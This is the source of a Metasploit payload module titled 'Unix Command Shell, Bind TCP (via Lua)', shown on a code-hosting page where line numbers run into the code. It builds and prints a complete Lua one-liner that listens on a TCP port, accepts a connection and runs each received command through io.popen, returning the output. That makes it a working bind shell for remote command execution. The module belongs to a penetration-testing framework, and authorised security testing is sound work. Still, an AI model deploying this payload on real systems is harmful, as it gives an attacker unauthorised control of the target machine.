Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/bind_lua.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 218910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Unix Command Shell, Bind TCP (via Lua)',16'Description' => 'Listen for a connection and spawn a command shell via Lua',17'Author' =>18[19'xistence <xistence[at]0x90.nl>',20],21'License' => MSF_LICENSE,22'Platform' => 'unix',23'Arch' => ARCH_CMD,24'Handler' => Msf::Handler::BindTcp,25'Session' => Msf::Sessions::CommandShell,26'PayloadType' => 'cmd',27'RequiredCmd' => 'lua',28'Payload' =>29{30'Offsets' => { },31'Payload' => ''32}33))34register_advanced_options(35[36OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])37]38)39end4041#42# Constructs the payload43#44def generate(_opts = {})45vprint_good(command_string)46return super + command_string47end4849#50# Returns the command string to use for execution51#52def command_string53"#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""54end55end56575859